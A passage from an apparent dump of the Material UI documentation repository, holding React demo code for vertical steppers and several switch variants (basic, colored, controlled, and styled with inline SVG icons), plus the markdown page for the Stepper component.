    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\nimport StepContent from '@mui/material/StepContent';\nimport Button from '@mui/material/Button';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\n\nconst steps = [\n  {\n    label: 'Select campaign settings',\n    description: `For each ad campaign that you create, you can control how much\n              you're willing to spend on clicks and conversions, which networks\n              and geographical locations you want your ads to show on, and more.`,\n  },\n  {\n    label: 'Create an ad group',\n    description:\n      'An ad group contains one or more ads which target a shared set of keywords.',\n  },\n  {\n    label: 'Create an ad',\n    description: `Try out different ad text to see what brings in the most customers,\n              and learn how to enhance your ads using features like ad extensions.\n              If you run into any problems with your ads, find out how to tell if\n              they're running and how to resolve approval issues.`,\n  },\n];\n\nexport default function VerticalLinearStepper() {\n  const [activeStep, setActiveStep] = React.useState(0);\n\n  const handleNext = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep + 1);\n  };\n\n  const handleBack = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep - 1);\n  };\n\n  const handleReset = () => {\n    setActiveStep(0);\n  };\n\n  return (\n    <Box sx={{ maxWidth: 400 }}>\n      <Stepper activeStep={activeStep} orientation=\"vertical\">\n        {steps.map((step, index) => (\n          <Step key={step.label}>\n            <StepLabel\n              optional={\n                index === steps.length - 1 ? (\n                  <Typography variant=\"caption\">Last step</Typography>\n                ) : null\n              }\n            >\n              {step.label}\n            </StepLabel>\n            <StepContent>\n              <Typography>{step.description}</Typography>\n              <Box sx={{ mb: 2 }}>\n                <Button\n                  variant=\"contained\"\n                  onClick={handleNext}\n                  sx={{ mt: 1, mr: 1 }}\n                >\n                  {index === steps.length - 1 ? 'Finish' : 'Continue'}\n                </Button>\n                <Button\n                  disabled={index === 0}\n                  onClick={handleBack}\n                  sx={{ mt: 1, mr: 1 }}\n                >\n                  Back\n                </Button>\n              </Box>\n            </StepContent>\n          </Step>\n        ))}\n      </Stepper>\n      {activeStep === steps.length && (\n        <Paper square elevation={0} sx={{ p: 3 }}>\n          <Typography>All steps completed - you&apos;re finished</Typography>\n          <Button onClick={handleReset} sx={{ mt: 1, mr: 1 }}>\n            Reset\n          </Button>\n        </Paper>\n      )}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/VerticalLinearStepper.tsx",
    "content": "import * as React from 'react';\nimport Box from '@mui/material/Box';\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\nimport StepContent from '@mui/material/StepContent';\nimport Button from '@mui/material/Button';\nimport Paper from '@mui/material/Paper';\nimport Typography from '@mui/material/Typography';\n\nconst steps = [\n  {\n    label: 'Select campaign settings',\n    description: `For each ad campaign that you create, you can control how much\n              you're willing to spend on clicks and conversions, which networks\n              and geographical locations you want your ads to show on, and more.`,\n  },\n  {\n    label: 'Create an ad group',\n    description:\n      'An ad group contains one or more ads which target a shared set of keywords.',\n  },\n  {\n    label: 'Create an ad',\n    description: `Try out different ad text to see what brings in the most customers,\n              and learn how to enhance your ads using features like ad extensions.\n              If you run into any problems with your ads, find out how to tell if\n              they're running and how to resolve approval issues.`,\n  },\n];\n\nexport default function VerticalLinearStepper() {\n  const [activeStep, setActiveStep] = React.useState(0);\n\n  const handleNext = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep + 1);\n  };\n\n  const handleBack = () => {\n    setActiveStep((prevActiveStep) => prevActiveStep - 1);\n  };\n\n  const handleReset = () => {\n    setActiveStep(0);\n  };\n\n  return (\n    <Box sx={{ maxWidth: 400 }}>\n      <Stepper activeStep={activeStep} orientation=\"vertical\">\n        {steps.map((step, index) => (\n          <Step key={step.label}>\n            <StepLabel\n              optional={\n                index === steps.length - 1 ? (\n                  <Typography variant=\"caption\">Last step</Typography>\n                ) : null\n              }\n            >\n              {step.label}\n            </StepLabel>\n            <StepContent>\n              <Typography>{step.description}</Typography>\n              <Box sx={{ mb: 2 }}>\n                <Button\n                  variant=\"contained\"\n                  onClick={handleNext}\n                  sx={{ mt: 1, mr: 1 }}\n                >\n                  {index === steps.length - 1 ? 'Finish' : 'Continue'}\n                </Button>\n                <Button\n                  disabled={index === 0}\n                  onClick={handleBack}\n                  sx={{ mt: 1, mr: 1 }}\n                >\n                  Back\n                </Button>\n              </Box>\n            </StepContent>\n          </Step>\n        ))}\n      </Stepper>\n      {activeStep === steps.length && (\n        <Paper square elevation={0} sx={{ p: 3 }}>\n          <Typography>All steps completed - you&apos;re finished</Typography>\n          <Button onClick={handleReset} sx={{ mt: 1, mr: 1 }}>\n            Reset\n          </Button>\n        </Paper>\n      )}\n    </Box>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/steppers/steppers.md",
    "content": "---\nproductId: material-ui\ntitle: React Stepper component\ncomponents: MobileStepper, Step, StepButton, StepConnector, StepContent, StepIcon, StepLabel, Stepper\ngithubLabel: 'scope: stepper'\nmaterialDesign: https://m1.material.io/components/steppers.html\ngithubSource: packages/mui-material/src/Stepper\n---\n\n# Stepper\n\n<p class=\"description\">Steppers convey progress through numbered steps. It provides a wizard-like workflow.</p>\n\nSteppers display progress through a sequence of logical and numbered steps. They may also be used for navigation.\nSteppers may display a transient feedback message after a step is saved.\n\n- **Types of Steps**: Editable, Non-editable, Mobile, Optional\n- **Types of Steppers**: Horizontal, Vertical, Linear, Non-linear\n\n{{\"component\": \"@mui/docs/ComponentLinkHeader\"}}\n\n:::info\nThis component is no longer documented in the [Material Design guidelines](https://m2.material.io/), but Material UI will continue to support it.\n:::\n\n## Introduction\n\nThe Stepper component displays progress through a sequence of logical and numbered steps.\nIt supports horizontal and vertical orientation for desktop and mobile viewports.\n\nSteppers are implemented using a collection of related components:\n\n- Stepper: the container for the steps.\n- Step: an individual step in the sequence.\n- Step Label: a label for a Step.\n- Step Content: optional content for a Step.\n- Step Button: optional button for a Step.\n- Step Icon: optional icon for a Step.\n- Step Connector: optional customized connector between Steps.\n\n## Basics\n\n```jsx\nimport Stepper from '@mui/material/Stepper';\nimport Step from '@mui/material/Step';\nimport StepLabel from '@mui/material/StepLabel';\n```\n\n## Horizontal stepper\n\nHorizontal steppers are ideal when the contents of one step depend on an earlier step.\n\nAvoid using long step names in horizontal steppers.\n\n### Linear\n\nA linear stepper allows the user to complete the steps in sequence.\n\nThe `Stepper` can be controlled by passing the current step index (zero-based) as the `activeStep` prop. `Stepper` orientation is set using the `orientation` prop.\n\nThis example also shows the use of an optional step by placing the `optional` prop on the second `Step` component. Note that it's up to you to manage when an optional step is skipped. Once you've determined this for a particular step you must set `completed={false}` to signify that even though the active step index has gone beyond the optional step, it's not actually complete.\n\n{{\"demo\": \"HorizontalLinearStepper.js\"}}\n\n### Non-linear\n\nNon-linear steppers allow the user to enter a multi-step flow at any point.\n\nThis example is similar to the regular horizontal stepper, except steps are no longer automatically set to `disabled={true}` based on the `activeStep` prop.\n\nThe use of the `StepButton` here demonstrates clickable step labels, as well as setting the `completed`\nflag. However because steps can be accessed in a non-linear fashion, it's up to your own implementation to\ndetermine when all steps are completed (or even if they need to be completed).\n\nActionable steps mean that they control the content update of a section. From an accessibility standpoint, this means that each `StepButton` requires an `aria-controls` attribute pointing at the content section element.\n\n{{\"demo\": \"HorizontalNonLinearStepper.js\"}}\n\n### Alternative label\n\nLabels can be placed below the step icon by setting the `alternativeLabel` prop on the `Stepper` component.\n\n{{\"demo\": \"HorizontalLinearAlternativeLabelStepper.js\"}}\n\n### Error step\n\n{{\"demo\": \"HorizontalStepperWithError.js\"}}\n\n### Customized horizontal stepper\n\nHere is an example of customizing the component.\nYou can learn more about this in the [overrides documentation page](/material-ui/customization/how-to-customize/).\n\n{{\"demo\": \"CustomizedSteppers.js\"}}\n\n## Vertical stepper\n\nVertical steppers are designed for narrow screen sizes. They are ideal for mobile. All the features of the horizontal stepper can be implemented.\n\n{{\"demo\": \"VerticalLinearStepper.js\"}}\n\n### Performance\n\nThe content of a step is unmounted when closed.\nIf you need to make the content available to search engines or render expensive component trees inside your modal while optimizing for interaction responsiveness it might be a good idea to keep the step mounted with:\n\n```jsx\n<StepContent slotProps={{ transition: { unmountOnExit: false } }} />\n```\n\n## Mobile stepper\n\nThis component implements a compact stepper suitable for a mobile device. It has more limited functionality than the vertical stepper. See [mobile steps](https://m1.material.io/components/steppers.html#steppers-types-of-steps) for its inspiration.\n\nThe mobile stepper supports three variants to display progress through the available steps: text, dots, and progress.\n\n### Text\n\nThe current step and total number of steps are displayed as text.\n\n{{\"demo\": \"TextMobileStepper.js\", \"bg\": true}}\n\n### Dots\n\nUse dots when the number of steps is small.\n\n{{\"demo\": \"DotsMobileStepper.js\", \"bg\": true}}\n\n### Progress\n\nUse a progress bar when there are many steps, or if there are steps that need to be inserted during the process (based on responses to earlier steps).\n\n{{\"demo\": \"ProgressMobileStepper.js\", \"bg\": true}}\n"
  },
  {
    "path": "docs/data/material/components/switches/BasicSwitches.js",
    "content": "import Switch from '@mui/material/Switch';\n\nconst label = { slotProps: { input: { 'aria-label': 'Switch demo' } } };\n\nexport default function BasicSwitches() {\n  return (\n    <div>\n      <Switch {...label} defaultChecked />\n      <Switch {...label} />\n      <Switch {...label} disabled defaultChecked />\n      <Switch {...label} disabled />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/BasicSwitches.tsx",
    "content": "import Switch from '@mui/material/Switch';\n\nconst label = { slotProps: { input: { 'aria-label': 'Switch demo' } } };\n\nexport default function BasicSwitches() {\n  return (\n    <div>\n      <Switch {...label} defaultChecked />\n      <Switch {...label} />\n      <Switch {...label} disabled defaultChecked />\n      <Switch {...label} disabled />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/BasicSwitches.tsx.preview",
    "content": "<Switch {...label} defaultChecked />\n<Switch {...label} />\n<Switch {...label} disabled defaultChecked />\n<Switch {...label} disabled />"
  },
  {
    "path": "docs/data/material/components/switches/ColorSwitches.js",
    "content": "import { alpha, styled } from '@mui/material/styles';\nimport { pink } from '@mui/material/colors';\nimport Switch from '@mui/material/Switch';\n\nconst PinkSwitch = styled(Switch)(({ theme }) => ({\n  '& .MuiSwitch-switchBase.Mui-checked': {\n    color: pink[600],\n    '&:hover': {\n      backgroundColor: alpha(pink[600], theme.palette.action.hoverOpacity),\n    },\n  },\n  '& .MuiSwitch-switchBase.Mui-checked + .MuiSwitch-track': {\n    backgroundColor: pink[600],\n  },\n}));\n\nconst label = { slotProps: { input: { 'aria-label': 'Color switch demo' } } };\n\nexport default function ColorSwitches() {\n  return (\n    <div>\n      <Switch {...label} defaultChecked />\n      <Switch {...label} defaultChecked color=\"secondary\" />\n      <Switch {...label} defaultChecked color=\"warning\" />\n      <Switch {...label} defaultChecked color=\"default\" />\n      <PinkSwitch {...label} defaultChecked />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/ColorSwitches.tsx",
    "content": "import { alpha, styled } from '@mui/material/styles';\nimport { pink } from '@mui/material/colors';\nimport Switch from '@mui/material/Switch';\n\nconst PinkSwitch = styled(Switch)(({ theme }) => ({\n  '& .MuiSwitch-switchBase.Mui-checked': {\n    color: pink[600],\n    '&:hover': {\n      backgroundColor: alpha(pink[600], theme.palette.action.hoverOpacity),\n    },\n  },\n  '& .MuiSwitch-switchBase.Mui-checked + .MuiSwitch-track': {\n    backgroundColor: pink[600],\n  },\n}));\n\nconst label = { slotProps: { input: { 'aria-label': 'Color switch demo' } } };\n\nexport default function ColorSwitches() {\n  return (\n    <div>\n      <Switch {...label} defaultChecked />\n      <Switch {...label} defaultChecked color=\"secondary\" />\n      <Switch {...label} defaultChecked color=\"warning\" />\n      <Switch {...label} defaultChecked color=\"default\" />\n      <PinkSwitch {...label} defaultChecked />\n    </div>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/ColorSwitches.tsx.preview",
    "content": "<Switch {...label} defaultChecked />\n<Switch {...label} defaultChecked color=\"secondary\" />\n<Switch {...label} defaultChecked color=\"warning\" />\n<Switch {...label} defaultChecked color=\"default\" />\n<PinkSwitch {...label} defaultChecked />"
  },
  {
    "path": "docs/data/material/components/switches/ControlledSwitches.js",
    "content": "import * as React from 'react';\nimport Switch from '@mui/material/Switch';\n\nexport default function ControlledSwitches() {\n  const [checked, setChecked] = React.useState(true);\n\n  const handleChange = (event) => {\n    setChecked(event.target.checked);\n  };\n\n  return (\n    <Switch\n      checked={checked}\n      onChange={handleChange}\n      slotProps={{ input: { 'aria-label': 'controlled' } }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/ControlledSwitches.tsx",
    "content": "import * as React from 'react';\nimport Switch from '@mui/material/Switch';\n\nexport default function ControlledSwitches() {\n  const [checked, setChecked] = React.useState(true);\n\n  const handleChange = (event: React.ChangeEvent<HTMLInputElement>) => {\n    setChecked(event.target.checked);\n  };\n\n  return (\n    <Switch\n      checked={checked}\n      onChange={handleChange}\n      slotProps={{ input: { 'aria-label': 'controlled' } }}\n    />\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/ControlledSwitches.tsx.preview",
    "content": "<Switch\n  checked={checked}\n  onChange={handleChange}\n  slotProps={{ input: { 'aria-label': 'controlled' } }}\n/>"
  },
  {
    "path": "docs/data/material/components/switches/CustomizedSwitches.js",
    "content": "import { styled } from '@mui/material/styles';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch from '@mui/material/Switch';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\nconst MaterialUISwitch = styled(Switch)(({ theme }) => ({\n  width: 62,\n  height: 34,\n  padding: 7,\n  '& .MuiSwitch-switchBase': {\n    margin: 1,\n    padding: 0,\n    transform: 'translateX(6px)',\n    '&.Mui-checked': {\n      color: '#fff',\n      transform: 'translateX(22px)',\n      '& .MuiSwitch-thumb:before': {\n        backgroundImage: `url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" height=\"20\" width=\"20\" viewBox=\"0 0 20 20\"><path fill=\"${encodeURIComponent(\n          '#fff',\n        )}\" d=\"M4.2 2.5l-.7 1.8-1.8.7 1.8.7.7 1.8.6-1.8L6.7 5l-1.9-.7-.6-1.8zm15 8.3a6.7 6.7 0 11-6.6-6.6 5.8 5.8 0 006.6 6.6z\"/></svg>')`,\n      },\n      '& + .MuiSwitch-track': {\n        opacity: 1,\n        backgroundColor: '#aab4be',\n        ...theme.applyStyles('dark', {\n          backgroundColor: '#8796A5',\n        }),\n      },\n    },\n  },\n  '& .MuiSwitch-thumb': {\n    backgroundColor: '#001e3c',\n    width: 32,\n    height: 32,\n    '&::before': {\n      content: \"''\",\n      position: 'absolute',\n      width: '100%',\n      height: '100%',\n      left: 0,\n      top: 0,\n      backgroundRepeat: 'no-repeat',\n      backgroundPosition: 'center',\n      backgroundImage: `url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" height=\"20\" width=\"20\" viewBox=\"0 0 20 20\"><path fill=\"${encodeURIComponent(\n        '#fff',\n      )}\" d=\"M9.305 1.667V3.75h1.389V1.667h-1.39zm-4.707 1.95l-.982.982L5.09 6.072l.982-.982-1.473-1.473zm10.802 0L13.927 5.09l.982.982 1.473-1.473-.982-.982zM10 5.139a4.872 4.872 0 00-4.862 4.86A4.872 4.872 0 0010 14.862 4.872 4.872 0 0014.86 10 4.872 4.872 0 0010 5.139zm0 1.389A3.462 3.462 0 0113.471 10a3.462 3.462 0 01-3.473 3.472A3.462 3.462 0 016.527 10 3.462 3.462 0 0110 6.528zM1.665 9.305v1.39h2.083v-1.39H1.666zm14.583 0v1.39h2.084v-1.39h-2.084zM5.09 13.928L3.616 15.4l.982.982 1.473-1.473-.982-.982zm9.82 0l-.982.982 1.473 1.473.982-.982-1.473-1.473zM9.305 16.25v2.083h1.389V16.25h-1.39z\"/></svg>')`,\n    },\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#003892',\n    }),\n  },\n  '& .MuiSwitch-track': {\n    opacity: 1,\n    backgroundColor: '#aab4be',\n    borderRadius: 20 / 2,\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#8796A5',\n    }),\n  },\n}));\n\nconst Android12Switch = styled(Switch)(({ theme }) => ({\n  padding: 8,\n  '& .MuiSwitch-track': {\n    borderRadius: 22 / 2,\n    '&::before, &::after': {\n      content: '\"\"',\n      position: 'absolute',\n      top: '50%',\n      transform: 'translateY(-50%)',\n      width: 16,\n      height: 16,\n    },\n    '&::before': {\n      backgroundImage: `url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" height=\"16\" width=\"16\" viewBox=\"0 0 24 24\"><path fill=\"${encodeURIComponent(\n        theme.palette.getContrastText(theme.palette.primary.main),\n      )}\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"/></svg>')`,\n      left: 12,\n    },\n    '&::after': {\n      backgroundImage: `url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" height=\"16\" width=\"16\" viewBox=\"0 0 24 24\"><path fill=\"${encodeURIComponent(\n        theme.palette.getContrastText(theme.palette.primary.main),\n      )}\" d=\"M19,13H5V11H19V13Z\" /></svg>')`,\n      right: 12,\n    },\n  },\n  '& .MuiSwitch-thumb': {\n    boxShadow: 'none',\n    width: 16,\n    height: 16,\n    margin: 2,\n  },\n}));\n\nconst IOSSwitch = styled((props) => (\n  <Switch focusVisibleClassName=\".Mui-focusVisible\" disableRipple {...props} />\n))(({ theme }) => ({\n  width: 42,\n  height: 26,\n  padding: 0,\n  '& .MuiSwitch-switchBase': {\n    padding: 0,\n    margin: 2,\n    transitionDuration: '300ms',\n    '&.Mui-checked': {\n      transform: 'translateX(16px)',\n      color: '#fff',\n      '& + .MuiSwitch-track': {\n        backgroundColor: '#65C466',\n        opacity: 1,\n        border: 0,\n        ...theme.applyStyles('dark', {\n          backgroundColor: '#2ECA45',\n        }),\n      },\n      '&.Mui-disabled + .MuiSwitch-track': {\n        opacity: 0.5,\n      },\n    },\n    '&.Mui-focusVisible .MuiSwitch-thumb': {\n      color: '#33cf4d',\n      border: '6px solid #fff',\n    },\n    '&.Mui-disabled .MuiSwitch-thumb': {\n      color: theme.palette.grey[100],\n      ...theme.applyStyles('dark', {\n        color: theme.palette.grey[600],\n      }),\n    },\n    '&.Mui-disabled + .MuiSwitch-track': {\n      opacity: 0.7,\n      ...theme.applyStyles('dark', {\n        opacity: 0.3,\n      }),\n    },\n  },\n  '& .MuiSwitch-thumb': {\n    boxSizing: 'border-box',\n    width: 22,\n    height: 22,\n  },\n  '& .MuiSwitch-track': {\n    borderRadius: 26 / 2,\n    backgroundColor: '#E9E9EA',\n    opacity: 1,\n    transition: theme.transitions.create(['background-color'], {\n      duration: 500,\n    }),\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#39393D',\n    }),\n  },\n}));\n\nconst AntSwitch = styled(Switch)(({ theme }) => ({\n  width: 28,\n  height: 16,\n  padding: 0,\n  display: 'flex',\n  '&:active': {\n    '& .MuiSwitch-thumb': {\n      width: 15,\n    },\n    '& .MuiSwitch-switchBase.Mui-checked': {\n      transform: 'translateX(9px)',\n    },\n  },\n  '& .MuiSwitch-switchBase': {\n    padding: 2,\n    '&.Mui-checked': {\n      transform: 'translateX(12px)',\n      color: '#fff',\n      '& + .MuiSwitch-track': {\n        opacity: 1,\n        backgroundColor: '#1890ff',\n        ...theme.applyStyles('dark', {\n          backgroundColor: '#177ddc',\n        }),\n      },\n    },\n  },\n  '& .MuiSwitch-thumb': {\n    boxShadow: '0 2px 4px 0 rgb(0 35 11 / 20%)',\n    width: 12,\n    height: 12,\n    borderRadius: 6,\n    transition: theme.transitions.create(['width'], {\n      duration: 200,\n    }),\n  },\n  '& .MuiSwitch-track': {\n    borderRadius: 16 / 2,\n    opacity: 1,\n    backgroundColor: 'rgba(0,0,0,.25)',\n    boxSizing: 'border-box',\n    ...theme.applyStyles('dark', {\n      backgroundColor: 'rgba(255,255,255,.35)',\n    }),\n  },\n}));\n\nexport default function CustomizedSwitches() {\n  return (\n    <FormGroup>\n      <FormControlLabel\n        control={<MaterialUISwitch sx={{ m: 1 }} defaultChecked />}\n        label=\"MUI switch\"\n      />\n      <FormControlLabel\n        control={<Android12Switch defaultChecked />}\n        label=\"Android 12\"\n      />\n      <FormControlLabel\n        control={<IOSSwitch sx={{ m: 1 }} defaultChecked />}\n        label=\"iOS style\"\n      />\n      <Stack direction=\"row\" spacing={1} sx={{ alignItems: 'center' }}>\n        <Typography>Off</Typography>\n        <AntSwitch\n          defaultChecked\n          slotProps={{ input: { 'aria-label': 'ant design' } }}\n        />\n        <Typography>On</Typography>\n      </Stack>\n    </FormGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/CustomizedSwitches.tsx",
    "content": "import { styled } from '@mui/material/styles';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport Switch, { SwitchProps } from '@mui/material/Switch';\nimport Stack from '@mui/material/Stack';\nimport Typography from '@mui/material/Typography';\n\nconst MaterialUISwitch = styled(Switch)(({ theme }) => ({\n  width: 62,\n  height: 34,\n  padding: 7,\n  '& .MuiSwitch-switchBase': {\n    margin: 1,\n    padding: 0,\n    transform: 'translateX(6px)',\n    '&.Mui-checked': {\n      color: '#fff',\n      transform: 'translateX(22px)',\n      '& .MuiSwitch-thumb:before': {\n        backgroundImage: `url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" height=\"20\" width=\"20\" viewBox=\"0 0 20 20\"><path fill=\"${encodeURIComponent(\n          '#fff',\n        )}\" d=\"M4.2 2.5l-.7 1.8-1.8.7 1.8.7.7 1.8.6-1.8L6.7 5l-1.9-.7-.6-1.8zm15 8.3a6.7 6.7 0 11-6.6-6.6 5.8 5.8 0 006.6 6.6z\"/></svg>')`,\n      },\n      '& + .MuiSwitch-track': {\n        opacity: 1,\n        backgroundColor: '#aab4be',\n        ...theme.applyStyles('dark', {\n          backgroundColor: '#8796A5',\n        }),\n      },\n    },\n  },\n  '& .MuiSwitch-thumb': {\n    backgroundColor: '#001e3c',\n    width: 32,\n    height: 32,\n    '&::before': {\n      content: \"''\",\n      position: 'absolute',\n      width: '100%',\n      height: '100%',\n      left: 0,\n      top: 0,\n      backgroundRepeat: 'no-repeat',\n      backgroundPosition: 'center',\n      backgroundImage: `url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" height=\"20\" width=\"20\" viewBox=\"0 0 20 20\"><path fill=\"${encodeURIComponent(\n        '#fff',\n      )}\" d=\"M9.305 1.667V3.75h1.389V1.667h-1.39zm-4.707 1.95l-.982.982L5.09 6.072l.982-.982-1.473-1.473zm10.802 0L13.927 5.09l.982.982 1.473-1.473-.982-.982zM10 5.139a4.872 4.872 0 00-4.862 4.86A4.872 4.872 0 0010 14.862 4.872 4.872 0 0014.86 10 4.872 4.872 0 0010 5.139zm0 1.389A3.462 3.462 0 0113.471 10a3.462 3.462 0 01-3.473 3.472A3.462 3.462 0 016.527 10 3.462 3.462 0 0110 6.528zM1.665 9.305v1.39h2.083v-1.39H1.666zm14.583 0v1.39h2.084v-1.39h-2.084zM5.09 13.928L3.616 15.4l.982.982 1.473-1.473-.982-.982zm9.82 0l-.982.982 1.473 1.473.982-.982-1.473-1.473zM9.305 16.25v2.083h1.389V16.25h-1.39z\"/></svg>')`,\n    },\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#003892',\n    }),\n  },\n  '& .MuiSwitch-track': {\n    opacity: 1,\n    backgroundColor: '#aab4be',\n    borderRadius: 20 / 2,\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#8796A5',\n    }),\n  },\n}));\n\nconst Android12Switch = styled(Switch)(({ theme }) => ({\n  padding: 8,\n  '& .MuiSwitch-track': {\n    borderRadius: 22 / 2,\n    '&::before, &::after': {\n      content: '\"\"',\n      position: 'absolute',\n      top: '50%',\n      transform: 'translateY(-50%)',\n      width: 16,\n      height: 16,\n    },\n    '&::before': {\n      backgroundImage: `url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" height=\"16\" width=\"16\" viewBox=\"0 0 24 24\"><path fill=\"${encodeURIComponent(\n        theme.palette.getContrastText(theme.palette.primary.main),\n      )}\" d=\"M21,7L9,19L3.5,13.5L4.91,12.09L9,16.17L19.59,5.59L21,7Z\"/></svg>')`,\n      left: 12,\n    },\n    '&::after': {\n      backgroundImage: `url('data:image/svg+xml;utf8,<svg xmlns=\"http://www.w3.org/2000/svg\" height=\"16\" width=\"16\" viewBox=\"0 0 24 24\"><path fill=\"${encodeURIComponent(\n        theme.palette.getContrastText(theme.palette.primary.main),\n      )}\" d=\"M19,13H5V11H19V13Z\" /></svg>')`,\n      right: 12,\n    },\n  },\n  '& .MuiSwitch-thumb': {\n    boxShadow: 'none',\n    width: 16,\n    height: 16,\n    margin: 2,\n  },\n}));\n\nconst IOSSwitch = styled((props: SwitchProps) => (\n  <Switch focusVisibleClassName=\".Mui-focusVisible\" disableRipple {...props} />\n))(({ theme }) => ({\n  width: 42,\n  height: 26,\n  padding: 0,\n  '& .MuiSwitch-switchBase': {\n    padding: 0,\n    margin: 2,\n    transitionDuration: '300ms',\n    '&.Mui-checked': {\n      transform: 'translateX(16px)',\n      color: '#fff',\n      '& + .MuiSwitch-track': {\n        backgroundColor: '#65C466',\n        opacity: 1,\n        border: 0,\n        ...theme.applyStyles('dark', {\n          backgroundColor: '#2ECA45',\n        }),\n      },\n      '&.Mui-disabled + .MuiSwitch-track': {\n        opacity: 0.5,\n      },\n    },\n    '&.Mui-focusVisible .MuiSwitch-thumb': {\n      color: '#33cf4d',\n      border: '6px solid #fff',\n    },\n    '&.Mui-disabled .MuiSwitch-thumb': {\n      color: theme.palette.grey[100],\n      ...theme.applyStyles('dark', {\n        color: theme.palette.grey[600],\n      }),\n    },\n    '&.Mui-disabled + .MuiSwitch-track': {\n      opacity: 0.7,\n      ...theme.applyStyles('dark', {\n        opacity: 0.3,\n      }),\n    },\n  },\n  '& .MuiSwitch-thumb': {\n    boxSizing: 'border-box',\n    width: 22,\n    height: 22,\n  },\n  '& .MuiSwitch-track': {\n    borderRadius: 26 / 2,\n    backgroundColor: '#E9E9EA',\n    opacity: 1,\n    transition: theme.transitions.create(['background-color'], {\n      duration: 500,\n    }),\n    ...theme.applyStyles('dark', {\n      backgroundColor: '#39393D',\n    }),\n  },\n}));\n\nconst AntSwitch = styled(Switch)(({ theme }) => ({\n  width: 28,\n  height: 16,\n  padding: 0,\n  display: 'flex',\n  '&:active': {\n    '& .MuiSwitch-thumb': {\n      width: 15,\n    },\n    '& .MuiSwitch-switchBase.Mui-checked': {\n      transform: 'translateX(9px)',\n    },\n  },\n  '& .MuiSwitch-switchBase': {\n    padding: 2,\n    '&.Mui-checked': {\n      transform: 'translateX(12px)',\n      color: '#fff',\n      '& + .MuiSwitch-track': {\n        opacity: 1,\n        backgroundColor: '#1890ff',\n        ...theme.applyStyles('dark', {\n          backgroundColor: '#177ddc',\n        }),\n      },\n    },\n  },\n  '& .MuiSwitch-thumb': {\n    boxShadow: '0 2px 4px 0 rgb(0 35 11 / 20%)',\n    width: 12,\n    height: 12,\n    borderRadius: 6,\n    transition: theme.transitions.create(['width'], {\n      duration: 200,\n    }),\n  },\n  '& .MuiSwitch-track': {\n    borderRadius: 16 / 2,\n    opacity: 1,\n    backgroundColor: 'rgba(0,0,0,.25)',\n    boxSizing: 'border-box',\n    ...theme.applyStyles('dark', {\n      backgroundColor: 'rgba(255,255,255,.35)',\n    }),\n  },\n}));\n\nexport default function CustomizedSwitches() {\n  return (\n    <FormGroup>\n      <FormControlLabel\n        control={<MaterialUISwitch sx={{ m: 1 }} defaultChecked />}\n        label=\"MUI switch\"\n      />\n      <FormControlLabel\n        control={<Android12Switch defaultChecked />}\n        label=\"Android 12\"\n      />\n      <FormControlLabel\n        control={<IOSSwitch sx={{ m: 1 }} defaultChecked />}\n        label=\"iOS style\"\n      />\n      <Stack direction=\"row\" spacing={1} sx={{ alignItems: 'center' }}>\n        <Typography>Off</Typography>\n        <AntSwitch\n          defaultChecked\n          slotProps={{ input: { 'aria-label': 'ant design' } }}\n        />\n        <Typography>On</Typography>\n      </Stack>\n    </FormGroup>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/FormControlLabelPosition.js",
    "content": "import Switch from '@mui/material/Switch';\nimport FormGroup from '@mui/material/FormGroup';\nimport FormControlLabel from '@mui/material/FormControlLabel';\nimport FormControl from '@mui/material/FormControl';\nimport FormLabel from '@mui/material/FormLabel';\n\nexport default function FormControlLabelPosition() {\n  return (\n    <FormControl component=\"fieldset\">\n      <FormLabel component=\"legend\">Label placement</FormLabel>\n      <FormGroup aria-label=\"position\" row>\n        <FormControlLabel\n          value=\"bottom\"\n          control={<Switch color=\"primary\" />}\n          label=\"Bottom\"\n          labelPlacement=\"bottom\"\n        />\n        <FormControlLabel\n          value=\"end\"\n          control={<Switch color=\"primary\" />}\n          label=\"End\"\n          labelPlacement=\"end\"\n        />\n      </FormGroup>\n    </FormControl>\n  );\n}\n"
  },
  {
    "path": "docs/data/material/components/switches/FormControlLabelPosition.tsx",
